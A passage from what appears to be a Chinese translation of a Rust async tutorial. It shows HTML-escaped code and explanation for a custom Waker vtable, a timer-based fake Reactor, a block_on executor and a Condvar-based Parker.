&amp;#x2F;&amp;#x2F; These are function definitions we&amp;#x27;ll use for our waker. Remember the
&amp;#x2F;&amp;#x2F; &amp;quot;Trait Objects&amp;quot; chapter earlier.
fn mywaker_wake(s: &amp;amp;MyWaker) {
    let waker_ptr: *const MyWaker = s;
    let waker_arc = unsafe {Arc::from_raw(waker_ptr)};
    waker_arc.thread.unpark();
}

&amp;#x2F;&amp;#x2F; Since we use an `Arc` cloning is just increasing the refcount on the smart
&amp;#x2F;&amp;#x2F; pointer.
fn mywaker_clone(s: &amp;amp;MyWaker) -&amp;gt; RawWaker {
    let arc = unsafe { Arc::from_raw(s) };
    std::mem::forget(arc.clone()); &amp;#x2F;&amp;#x2F; increase ref count
    RawWaker::new(Arc::into_raw(arc) as *const (), &amp;amp;VTABLE)
}

&amp;#x2F;&amp;#x2F; This is actually a &amp;quot;helper funtcion&amp;quot; to create a `Waker` vtable. In contrast
&amp;#x2F;&amp;#x2F; to when we created a `Trait Object` from scratch we don&amp;#x27;t need to concern
&amp;#x2F;&amp;#x2F; ourselves with the actual layout of the `vtable` and only provide a fixed
&amp;#x2F;&amp;#x2F; set of functions
const VTABLE: RawWakerVTable = unsafe {
    RawWakerVTable::new(
        |s| mywaker_clone(&amp;amp;*(s as *const MyWaker)),     &amp;#x2F;&amp;#x2F; clone
        |s| mywaker_wake(&amp;amp;*(s as *const MyWaker)),      &amp;#x2F;&amp;#x2F; wake
        |s| mywaker_wake(*(s as *const &amp;amp;MyWaker)),      &amp;#x2F;&amp;#x2F; wake by ref
        |s| drop(Arc::from_raw(s as *const MyWaker)),   &amp;#x2F;&amp;#x2F; decrease refcount
    )
};

&amp;#x2F;&amp;#x2F; Instead of implementing this on the `MyWaker` object in `impl Mywaker...` we
&amp;#x2F;&amp;#x2F; just use this pattern instead since it saves us some lines of code.
fn waker_into_waker(s: *const MyWaker) -&amp;gt; Waker {
    let raw_waker = RawWaker::new(s as *const (), &amp;amp;VTABLE);
    unsafe { Waker::from_raw(raw_waker) }
}

impl Task {
    fn new(reactor: Arc&amp;lt;Mutex&amp;lt;Box&amp;lt;Reactor&amp;gt;&amp;gt;&amp;gt;, data: u64, id: usize) -&amp;gt; Self {
        Task { id, reactor, data }
    }
}

&amp;#x2F;&amp;#x2F; This is our `Future` implementation
impl Future for Task {
    type Output = usize;

    &amp;#x2F;&amp;#x2F; Poll is the what drives the state machine forward and it&amp;#x27;s the only
    &amp;#x2F;&amp;#x2F; method we&amp;#x27;ll need to call to drive futures to completion.
    fn poll(self: Pin&amp;lt;&amp;amp;mut Self&amp;gt;, cx: &amp;amp;mut Context&amp;lt;&amp;#x27;_&amp;gt;) -&amp;gt; Poll&amp;lt;Self::Output&amp;gt; {

        &amp;#x2F;&amp;#x2F; We need to get access the reactor in our `poll` method so we acquire
        &amp;#x2F;&amp;#x2F; a lock on that.
        let mut r = self.reactor.lock().unwrap();

        &amp;#x2F;&amp;#x2F; First we check if the task is marked as ready
        if r.is_ready(self.id) {

            &amp;#x2F;&amp;#x2F; If it&amp;#x27;s ready we set its state to `Finished`
            *r.tasks.get_mut(&amp;amp;self.id).unwrap() = TaskState::Finished;
            Poll::Ready(self.id)

        &amp;#x2F;&amp;#x2F; If it isn&amp;#x27;t finished we check the map we have stored in our Reactor
        &amp;#x2F;&amp;#x2F; over id&amp;#x27;s we have registered and see if it&amp;#x27;s there
        } else if r.tasks.contains_key(&amp;amp;self.id) {

            &amp;#x2F;&amp;#x2F; This is important. The docs says that on multiple calls to poll,
            &amp;#x2F;&amp;#x2F; only the Waker from the Context passed to the most recent call
            &amp;#x2F;&amp;#x2F; should be scheduled to receive a wakeup. That&amp;#x27;s why we insert
            &amp;#x2F;&amp;#x2F; this waker into the map (which will return the old one which will
            &amp;#x2F;&amp;#x2F; get dropped) before we return `Pending`.
            r.tasks.insert(self.id, TaskState::NotReady(cx.waker().clone()));
            Poll::Pending
        } else {

            &amp;#x2F;&amp;#x2F; If it&amp;#x27;s not ready, and not in the map it&amp;#x27;s a new task so we
            &amp;#x2F;&amp;#x2F; register that with the Reactor and return `Pending`
            r.register(self.data, cx.waker().clone(), self.id);
            Poll::Pending
        }

        &amp;#x2F;&amp;#x2F; Note that we&amp;#x27;re holding a lock on the `Mutex` which protects the
        &amp;#x2F;&amp;#x2F; Reactor all the way until the end of this scope. This means that
        &amp;#x2F;&amp;#x2F; even if our task were to complete immidiately, it will not be
        &amp;#x2F;&amp;#x2F; able to call `wake` while we&amp;#x27;re in our `Poll` method.

        &amp;#x2F;&amp;#x2F; Since we can make this guarantee, it&amp;#x27;s now the Executors job to
        &amp;#x2F;&amp;#x2F; handle this possible race condition where `Wake` is called after
        &amp;#x2F;&amp;#x2F; `poll` but before our thread goes to sleep.
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这大部分都是直截了当的。 令人困惑的部分是我们需要构建 Waker 的奇怪方式，但是由于我们已经从原始部分创建了我们自己的 trait 对象，这看起来很熟悉。 事实上，这更简单。&lt;&#x2F;p&gt;
&lt;p&gt;我们在这里使用一个Arc来传递一个引用计数的MyWaker的借用。 这是相当正常的，并且使得这个操作变得简单和安全。 克隆一个Waker只是增加一个计数。Drop一个Waker只是简单地减少一个计数.&lt;&#x2F;p&gt;
&lt;p&gt;在我们这种特定场景下,我们选择不使用&lt;code&gt;Arc&lt;&#x2F;code&gt;. 而使用这种更低层次方式实现的Waker才可以允许我们这么做.&lt;&#x2F;p&gt;
&lt;p&gt;事实上，如果我们只使用 Arc，那么我们就没有理由费尽心思去创建自己的 vtable 和 RawWaker。 我们可以实现一个普通的trait。&lt;&#x2F;p&gt;
&lt;p&gt;幸运的是，将来在标准库中也可以实现这个功能。 目前&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rust-lang-nursery.github.io&#x2F;futures-api-docs&#x2F;0.3.0-alpha.13&#x2F;futures&#x2F;task&#x2F;trait.ArcWake.html&quot;&gt;这个特性仍然在实验中&lt;&#x2F;a&gt;，但是我猜想在成熟之后，这个特性将会成为标准库的一部分。&lt;&#x2F;p&gt;
&lt;p&gt;我们选择在这里传入一个整个reactor的引用, 这不正常。 reactor通常是一个全局性的资源，让我们注册感兴趣的事而不需要传入一个引用.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;为什么在一个Lib中使用park&#x2F;unpark是一个坏主意&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;他很容易死锁,因为任何人都可以获得执行器所在线程的句柄,然后调用park&#x2F;unpark.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;一个future可以在另一个不同的线程上unpark执行器线程&lt;&#x2F;li&gt;
&lt;li&gt;我们的执行器认为数据准备好了,然后醒来去轮询这个&lt;code&gt;Future&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;当被轮询时,这个&lt;code&gt;Future&lt;&#x2F;code&gt;还没有准备好,但是恰在此时,&lt;code&gt;Reactor&lt;&#x2F;code&gt;收到事件,调用了&lt;code&gt;Wake()&lt;&#x2F;code&gt;来unpark我们的线程.&lt;&#x2F;li&gt;
&lt;li&gt;这可能发生在我们再次睡眠之前,因为这些操作完全是并行的.&lt;&#x2F;li&gt;
&lt;li&gt;我们的reactor已经调用过&lt;code&gt;wake&lt;&#x2F;code&gt;,但是我们的线程仍然在睡眠,因为刚刚调用wake的时候,我们的线程是醒着的.&lt;&#x2F;li&gt;
&lt;li&gt;我们发生了死锁,然后我们的程序停止工作.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;有一种情况是，我们的线程可能会出现所谓的虚假唤醒(可能会出乎意料地发生) ，如果我们运气不好，这可能会导致同样的死锁&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;有几种更好的方案,比如:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;std::sync::CondVar&lt;&#x2F;li&gt;
&lt;li&gt;crossbeam::sync::Parker&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;reactor&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;6_future_example.html#reactor&quot;&gt;Reactor&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;这是最后的冲刺阶段，并不完全与&lt;code&gt;Future&lt;&#x2F;code&gt;相关，但是我们需要它来让我们的例子运行起来。&lt;&#x2F;p&gt;
&lt;p&gt;由于大多数时候并发只有在与外部世界(或者至少是一些外围设备)进行交互时才有意义，因此我们需要一些东西来抽象这些异步的交互.&lt;&#x2F;p&gt;
&lt;p&gt;这就是reacotor的工作. 大多数时候你看到的reactor都是用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tokio-rs&#x2F;mio&quot;&gt;Mio&lt;&#x2F;a&gt;这个库. 它早多个平台上提供了非阻塞API和事件通知机制.&lt;&#x2F;p&gt;
&lt;p&gt;reactor通常会提供类似于TcpStream(或任何其他资源)的东西，只不过您用TcpStream来创建I&#x2F;O请求,而用reactor来创建Future.&lt;&#x2F;p&gt;
&lt;p&gt;我们的示例任务是一个计时器，它只生成一个线程，并将其置于休眠状态，休眠时间为我们指定的秒数。 我们在这里创建的reactor将创建一个表示每个计时器的&lt;code&gt;leaf-future&lt;&#x2F;code&gt;。 作为回报，reactor接收到一个唤醒器，一旦任务完成reactor将调用这个唤醒器。&lt;&#x2F;p&gt;
&lt;p&gt;为了能够在浏览器中运行这里的代码，没有太多真正的I&#x2F;O，我们可以假装这实际上代表了一些有用的I&#x2F;O操作。&lt;&#x2F;p&gt;
&lt;p&gt;我们的reactor看起来像这样:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
&amp;#x2F;&amp;#x2F; This is a &amp;quot;fake&amp;quot; reactor. It does no real I&amp;#x2F;O, but that also makes our
&amp;#x2F;&amp;#x2F; code possible to run in the book and in the playground
&amp;#x2F;&amp;#x2F; The different states a task can have in this Reactor
enum TaskState {
    Ready,
    NotReady(Waker),
    Finished,
}

&amp;#x2F;&amp;#x2F; This is a &amp;quot;fake&amp;quot; reactor. It does no real I&amp;#x2F;O, but that also makes our
&amp;#x2F;&amp;#x2F; code possible to run in the book and in the playground
struct Reactor {

    &amp;#x2F;&amp;#x2F; we need some way of registering a Task with the reactor. Normally this
    &amp;#x2F;&amp;#x2F; would be an &amp;quot;interest&amp;quot; in an I&amp;#x2F;O event
    dispatcher: Sender&amp;lt;Event&amp;gt;,
    handle: Option&amp;lt;JoinHandle&amp;lt;()&amp;gt;&amp;gt;,

    &amp;#x2F;&amp;#x2F; This is a list of tasks
    tasks: HashMap&amp;lt;usize, TaskState&amp;gt;,
}

&amp;#x2F;&amp;#x2F; This represents the Events we can send to our reactor thread. In this
&amp;#x2F;&amp;#x2F; example it&amp;#x27;s only a Timeout or a Close event.
#[derive(Debug)]
enum Event {
    Close,
    Timeout(u64, usize),
}

impl Reactor {

    &amp;#x2F;&amp;#x2F; We choose to return an atomic reference counted, mutex protected, heap
    &amp;#x2F;&amp;#x2F; allocated `Reactor`. Just to make it easy to explain... No, the reason
    &amp;#x2F;&amp;#x2F; we do this is:
    &amp;#x2F;&amp;#x2F;
    &amp;#x2F;&amp;#x2F; 1. We know that only thread-safe reactors will be created.
    &amp;#x2F;&amp;#x2F; 2. By heap allocating it we can obtain a reference to a stable address
    &amp;#x2F;&amp;#x2F; that&amp;#x27;s not dependent on the stack frame of the function that called `new`
    fn new() -&amp;gt; Arc&amp;lt;Mutex&amp;lt;Box&amp;lt;Self&amp;gt;&amp;gt;&amp;gt; {
        let (tx, rx) = channel::&amp;lt;Event&amp;gt;();
        let reactor = Arc::new(Mutex::new(Box::new(Reactor {
            dispatcher: tx,
            handle: None,
            tasks: HashMap::new(),
        })));

        &amp;#x2F;&amp;#x2F; Notice that we&amp;#x27;ll need to use `weak` reference here. If we don&amp;#x27;t,
        &amp;#x2F;&amp;#x2F; our `Reactor` will not get `dropped` when our main thread is finished
        &amp;#x2F;&amp;#x2F; since we&amp;#x27;re holding internal references to it.

        &amp;#x2F;&amp;#x2F; Since we&amp;#x27;re collecting all `JoinHandles` from the threads we spawn
        &amp;#x2F;&amp;#x2F; and make sure to join them we know that `Reactor` will be alive
        &amp;#x2F;&amp;#x2F; longer than any reference held by the threads we spawn here.
        let reactor_clone = Arc::downgrade(&amp;amp;reactor);

        &amp;#x2F;&amp;#x2F; This will be our Reactor-thread. The Reactor-thread will in our case
        &amp;#x2F;&amp;#x2F; just spawn new threads which will serve as timers for us.
        let handle = thread::spawn(move || {
            let mut handles = vec![];

            &amp;#x2F;&amp;#x2F; This simulates some I&amp;#x2F;O resource
            for event in rx {
                println!(&amp;quot;REACTOR: {:?}&amp;quot;, event);
                let reactor = reactor_clone.clone();
                match event {
                    Event::Close =&amp;gt; break,
                    Event::Timeout(duration, id) =&amp;gt; {

                        &amp;#x2F;&amp;#x2F; We spawn a new thread that will serve as a timer
                        &amp;#x2F;&amp;#x2F; and will call `wake` on the correct `Waker` once
                        &amp;#x2F;&amp;#x2F; it&amp;#x27;s done.
                        let event_handle = thread::spawn(move || {
                            thread::sleep(Duration::from_secs(duration));
                            let reactor = reactor.upgrade().unwrap();
                            reactor.lock().map(|mut r| r.wake(id)).unwrap();
                        });
                        handles.push(event_handle);
                    }
                }
            }

            &amp;#x2F;&amp;#x2F; This is important for us since we need to know that these
            &amp;#x2F;&amp;#x2F; threads don&amp;#x27;t live longer than our Reactor-thread. Our
            &amp;#x2F;&amp;#x2F; Reactor-thread will be joined when `Reactor` gets dropped.
            handles.into_iter().for_each(|handle| handle.join().unwrap());
        });
        reactor.lock().map(|mut r| r.handle = Some(handle)).unwrap();
        reactor
    }

    &amp;#x2F;&amp;#x2F; The wake function will call wake on the waker for the task with the
    &amp;#x2F;&amp;#x2F; corresponding id.
    fn wake(&amp;amp;mut self, id: usize) {
        self.tasks.get_mut(&amp;amp;id).map(|state| {

            &amp;#x2F;&amp;#x2F; No matter what state the task was in we can safely set it
            &amp;#x2F;&amp;#x2F; to ready at this point. This lets us get ownership over the
            &amp;#x2F;&amp;#x2F; the data that was there before we replaced it.
            match mem::replace(state, TaskState::Ready) {
                TaskState::NotReady(waker) =&amp;gt; waker.wake(),
                TaskState::Finished =&amp;gt; panic!(&amp;quot;Called &amp;#x27;wake&amp;#x27; twice on task: {}&amp;quot;, id),
                _ =&amp;gt; unreachable!()
            }
        }).unwrap();
    }

    &amp;#x2F;&amp;#x2F; Register a new task with the reactor. In this particular example
    &amp;#x2F;&amp;#x2F; we panic if a task with the same id get&amp;#x27;s registered twice
    fn register(&amp;amp;mut self, duration: u64, waker: Waker, id: usize) {
        if self.tasks.insert(id, TaskState::NotReady(waker)).is_some() {
            panic!(&amp;quot;Tried to insert a task with id: &amp;#x27;{}&amp;#x27;, twice!&amp;quot;, id);
        }
        self.dispatcher.send(Event::Timeout(duration, id)).unwrap();
    }

    &amp;#x2F;&amp;#x2F; We send a close event to the reactor so it closes down our reactor-thread
    fn close(&amp;amp;mut self) {
        self.dispatcher.send(Event::Close).unwrap();
    }

    &amp;#x2F;&amp;#x2F; We simply checks if a task with this id is in the state `TaskState::Ready`
    fn is_ready(&amp;amp;self, id: usize) -&amp;gt; bool {
        self.tasks.get(&amp;amp;id).map(|state| match state {
            TaskState::Ready =&amp;gt; true,
            _ =&amp;gt; false,
        }).unwrap_or(false)
    }
}

impl Drop for Reactor {
    fn drop(&amp;amp;mut self) {
        self.handle.take().map(|h| h.join().unwrap()).unwrap();
    }
}

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;虽然代码量很大，但实际上我们只是产生了一个新线程，并让它休眠一段时间，这是我们在创建任务时指定的。&lt;&#x2F;p&gt;
&lt;p&gt;在最后一章中，我们在一个可编辑的窗口中有整整200行，你可以按照自己喜欢的方式进行编辑和修改。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fn main() {
    &amp;#x2F;&amp;#x2F; This is just to make it easier for us to see when our Future was resolved
    let start = Instant::now();

    &amp;#x2F;&amp;#x2F; Many runtimes create a glocal `reactor` we pass it as an argument
    let reactor = Reactor::new();

    &amp;#x2F;&amp;#x2F; Since we&amp;#x27;ll share this between threads we wrap it in a
    &amp;#x2F;&amp;#x2F; atmically-refcounted- mutex.
    let reactor = Arc::new(Mutex::new(reactor));

    &amp;#x2F;&amp;#x2F; We create two tasks:
    &amp;#x2F;&amp;#x2F; - first parameter is the `reactor`
    &amp;#x2F;&amp;#x2F; - the second is a timeout in seconds
    &amp;#x2F;&amp;#x2F; - the third is an `id` to identify the task
    let future1 = Task::new(reactor.clone(), 1, 1);
    let future2 = Task::new(reactor.clone(), 2, 2);

    &amp;#x2F;&amp;#x2F; an `async` block works the same way as an `async fn` in that it compiles
    &amp;#x2F;&amp;#x2F; our code into a state machine, `yielding` at every `await` point.
    let fut1 = async {
        let val = future1.await;
        let dur = (Instant::now() - start).as_secs_f32();
        println!(&amp;quot;Future got {} at time: {:.2}.&amp;quot;, val, dur);
    };

    let fut2 = async {
        let val = future2.await;
        let dur = (Instant::now() - start).as_secs_f32();
        println!(&amp;quot;Future got {} at time: {:.2}.&amp;quot;, val, dur);
    };

    &amp;#x2F;&amp;#x2F; Our executor can only run one and one future, this is pretty normal
    &amp;#x2F;&amp;#x2F; though. You have a set of operations containing many futures that
    &amp;#x2F;&amp;#x2F; ends up as a single future that drives them all to completion.
    let mainfut = async {
        fut1.await;
        fut2.await;
    };

    &amp;#x2F;&amp;#x2F; This executor will block the main thread until the futures is resolved
    block_on(mainfut);

    &amp;#x2F;&amp;#x2F; When we&amp;#x27;re done, we want to shut down our reactor thread so our program
    &amp;#x2F;&amp;#x2F; ends nicely.
    reactor.lock().map(|mut r| r.close()).unwrap();
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我添加了一个reactor感兴趣的事件的调试输出，这样我们可以观察到两件事:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Waker&lt;&#x2F;code&gt;这个对象如何像前面我们讨论的trai对象&lt;&#x2F;li&gt;
&lt;li&gt;事件以何种顺序向reactor注册感兴趣的信息&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;async-awaithe-bing-fa-async-await&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;6_future_example.html#asyncawait%E5%92%8C%E5%B9%B6%E5%8F%91asyncawait&quot;&gt;Async&#x2F;Await和并发Async&#x2F;Await&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Async 关键字可以用在 async fn (...)中的函数上，也可以用在 async { ... }中的块上。 两者都可以讲一个函数或者代码块转换成一个&lt;code&gt;Future&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这些&lt;code&gt;Future&lt;&#x2F;code&gt;是相当简单的。 想象一下几章前我们的生成器。&lt;&#x2F;p&gt;
&lt;p&gt;每一个await就像一个yield,只不过不是生成一个值,而是生成Future,然后当轮询的时候返回响应的结果.&lt;&#x2F;p&gt;
&lt;p&gt;我们的&lt;code&gt;mainfut&lt;&#x2F;code&gt;包含两个&lt;code&gt;non-leaf-future&lt;&#x2F;code&gt;，它将在轮询中调用。&lt;code&gt;non-leaf-future&lt;&#x2F;code&gt;有一个&lt;code&gt;poll&lt;&#x2F;code&gt;方法, 这个方法简单的轮询他自己的内部Future,它内部的Future会被继续轮询,直到&lt;code&gt;leaf-future&lt;&#x2F;code&gt;返回&lt;code&gt;Ready&lt;&#x2F;code&gt;或者&lt;code&gt;Pending&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;就我们现在的例子来看，它并不比常规的同步代码好多少。 对于我们来说，如果需要在同一时间等待多个&lt;code&gt;Future&lt;&#x2F;code&gt;，我们需要&lt;code&gt;spawn&lt;&#x2F;code&gt;它们，以便执行器同时运行它们。&lt;&#x2F;p&gt;
&lt;p&gt;现在我们的例子返回如下结果:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
Future got 1 at time: 1.00.
Future got 2 at time: 3.00.
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
Future got 1 at time: 1.00.
Future got 2 at time: 2.00.
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;请注意，这并不意味着它们需要并行运行。 它们可以并行运行，但没有要求。 请记住，我们正在等待一些外部资源，这样我们就可以在一个线程上发出许多这样的调用，并在事件发生时处理每个事件&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;现在，我将向您介绍一些更好的资源，以实现一个更好的执行器。 现在你应该已经对&lt;code&gt;Future&lt;&#x2F;code&gt;的概念有了一个很好的理解。&lt;&#x2F;p&gt;
&lt;p&gt;下一步应该是了解更高级的运行时是如何工作的，以及它们如何实现不同的运行 Futures 的方式。&lt;&#x2F;p&gt;
&lt;p&gt;如果我是你，我接下来就会读这篇文章，并试着把它应用到我们的例子中去。&lt;&#x2F;p&gt;
&lt;p&gt;我希望在阅读完这篇文章后，能够更容易地探索Future和异步，我真的希望你们能够继续深入探索。&lt;&#x2F;p&gt;
&lt;p&gt;别忘了最后一章的练习。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;jiang-li-bu-fen-zan-ting-xian-cheng-de-geng-hao-ban-fa&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;6_future_example.html#%E5%A5%96%E5%8A%B1%E9%83%A8%E5%88%86-%E6%9A%82%E5%81%9C%E7%BA%BF%E7%A8%8B%E7%9A%84%E6%9B%B4%E5%A5%BD%E5%8A%9E%E6%B3%95&quot;&gt;奖励部分-暂停线程的更好办法&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;正如我们在本章前面解释的那样，仅仅调用&lt;code&gt;thread::sleep&lt;&#x2F;code&gt; 并不足以实现一个合适的反应器。 你也可以使用类似&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;crossbeam&#x2F;0.7.3&#x2F;crossbeam&#x2F;sync&#x2F;struct.Parker.html&quot;&gt;crossbeam::sync::Parker&lt;&#x2F;a&gt;中的Parker 这样的工具.&lt;&#x2F;p&gt;
&lt;p&gt;因为我们自己创建一个这样的Parker也不需要很多行代码，所以我们将展示如何通过使用 Condvar 和 Mutex 来解决这个问题。&lt;&#x2F;p&gt;
&lt;p&gt;我们自己的Parker:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
#[derive(Default)]
struct Parker(Mutex&amp;lt;bool&amp;gt;, Condvar);

impl Parker {
    fn park(&amp;amp;self) {

        &amp;#x2F;&amp;#x2F; We aquire a lock to the Mutex which protects our flag indicating if we
        &amp;#x2F;&amp;#x2F; should resume execution or not.
        let mut resumable = self.0.lock().unwrap();

            &amp;#x2F;&amp;#x2F; We put this in a loop since there is a chance we&amp;#x27;ll get woken, but
            &amp;#x2F;&amp;#x2F; our flag hasn&amp;#x27;t changed. If that happens, we simply go back to sleep.
            while !*resumable {

                &amp;#x2F;&amp;#x2F; We sleep until someone notifies us
                resumable = self.1.wait(resumable).unwrap();
            }

        &amp;#x2F;&amp;#x2F; We immidiately set the condition to false, so that next time we call `park` we&amp;#x27;ll
        &amp;#x2F;&amp;#x2F; go right to sleep.
        *resumable = false;
    }

    fn unpark(&amp;amp;self) {
        &amp;#x2F;&amp;#x2F; We simply acquire a lock to our flag and sets the condition to `runnable` when we
        &amp;#x2F;&amp;#x2F; get it.
        *self.0.lock().unwrap() = true;

        &amp;#x2F;&amp;#x2F; We notify our `Condvar` so it wakes up and resumes.
        self.1.notify_one();
    }
}

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 Rust 中的 Condvar 被设计为与互斥对象一起工作。 通常，您会认为在我们进入休眠之前,&lt;code&gt;self.0.lock().unwrap()&lt;&#x2F;code&gt;不会释放锁, 这意味着我们的&lt;code&gt;unpark&lt;&#x2F;code&gt;永远获取不到锁,我们会陷入死锁。&lt;&#x2F;p&gt;
&lt;p&gt;使用&lt;code&gt;Condvar&lt;&#x2F;code&gt;我们可以避免这种情况，因为&lt;code&gt;Condvar&lt;&#x2F;code&gt;会消耗我们的锁，所以它会在我们睡觉的时候释放。 当我们再次恢复时，我们的&lt;code&gt;Condvar&lt;&#x2F;code&gt;会重新持有锁，这样我们就可以继续操作它。 这意味着我们需要对我们的执行器做一些非常细微的改变，比如:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
fn block_on&amp;lt;F: Future&amp;gt;(mut future: F) -&amp;gt; F::Output {
    let parker = Arc::new(Parker::default()); &amp;#x2F;&amp;#x2F; &amp;lt;--- NB!
    let mywaker = Arc::new(MyWaker { parker: parker.clone() }); &amp;lt;--- NB!
    let waker = mywaker_into_waker(Arc::into_raw(mywaker));
    let mut cx = Context::from_waker(&amp;amp;waker);

    &amp;#x2F;&amp;#x2F; SAFETY: we shadow `future` so it can&amp;#x27;t be accessed again.
    let mut future = unsafe { Pin::new_unchecked(&amp;amp;mut future) };
    loop {
        match Future::poll(future.as_mut(), &amp;amp;mut cx) {
            Poll::Ready(val) =&amp;gt; break val,
            Poll::Pending =&amp;gt; parker.park(), &amp;#x2F;&amp;#x2F; &amp;lt;--- NB!
        };
    }
}

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们需要像这样改变我们的唤醒器:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
#[derive(Clone)]
struct MyWaker {
    parker: Arc&amp;lt;Parker&amp;gt;,
}

fn mywaker_wake(s: &amp;amp;MyWaker) {
    let waker_arc = unsafe { Arc::from_raw(s) };
    waker_arc.parker.unpark();
}

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;你可以查看由park&#x2F;unpark引起的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;play.rust-lang.org&#x2F;?version=stable&amp;amp;mode=debug&amp;amp;edition=2018&amp;amp;gist=b2343661fe3d271c91c6977ab8e681d0&quot;&gt;微妙问题的连接&lt;&#x2F;a&gt;. 你可以在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;play.rust-lang.org&#x2F;?version=stable&amp;amp;mode=debug&amp;amp;edition=2018&amp;amp;gist=bebef0f8a8ce6a9d0d32442cc8381595&quot;&gt;这里&lt;&#x2F;a&gt;查看我们最终的版本如何避免了这个问题.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;wan-zheng-de-li-zi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;8_finished_example.html#%E5%AE%8C%E6%95%B4%E7%9A%84%E4%BE%8B%E5%AD%90&quot;&gt;完整的例子&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt; fn main() {
    let start = Instant::now();
    let reactor = Reactor::new();

    let fut1 = async {
        let val = Task::new(reactor.clone(), 1, 1).await;
        println!(&amp;quot;Got {} at time: {:.2}.&amp;quot;, val, start.elapsed().as_secs_f32());
    };

    let fut2 = async {
        let val = Task::new(reactor.clone(), 2, 2).await;
        println!(&amp;quot;Got {} at time: {:.2}.&amp;quot;, val, start.elapsed().as_secs_f32());
    };

    let mainfut = async {
        fut1.await;
        fut2.await;
    };

    block_on(mainfut);
    reactor.lock().map(|mut r| r.close()).unwrap();
}

use std::{
    future::Future, sync::{ mpsc::{channel, Sender}, Arc, Mutex, Condvar},
    task::{Context, Poll, RawWaker, RawWakerVTable, Waker}, mem, pin::Pin,
    thread::{self, JoinHandle}, time::{Duration, Instant}, collections::HashMap
};
&amp;#x2F;&amp;#x2F; ============================= EXECUTOR ====================================
#[derive(Default)]
struct Parker(Mutex&amp;lt;bool&amp;gt;, Condvar);

impl Parker {
    fn park(&amp;amp;self) {
        let mut resumable = self.0.lock().unwrap();
            while !*resumable {
                resumable = self.1.wait(resumable).unwrap();
            }
        *resumable = false;
    }

    fn unpark(&amp;amp;self) {
        *self.0.lock().unwrap() = true;
        self.1.notify_one();
    }
}

fn block_on&amp;lt;F: Future&amp;gt;(mut future: F) -&amp;gt; F::Output {
    let parker = Arc::new(Parker::default());
    let mywaker = Arc::new(MyWaker { parker: parker.clone() });
    let waker = mywaker_into_waker(Arc::into_raw(mywaker));
    let mut cx = Context::from_waker(&amp;amp;waker);

    &amp;#x2F;&amp;#x2F; SAFETY: we shadow `future` so it can&amp;#x27;t be accessed again.
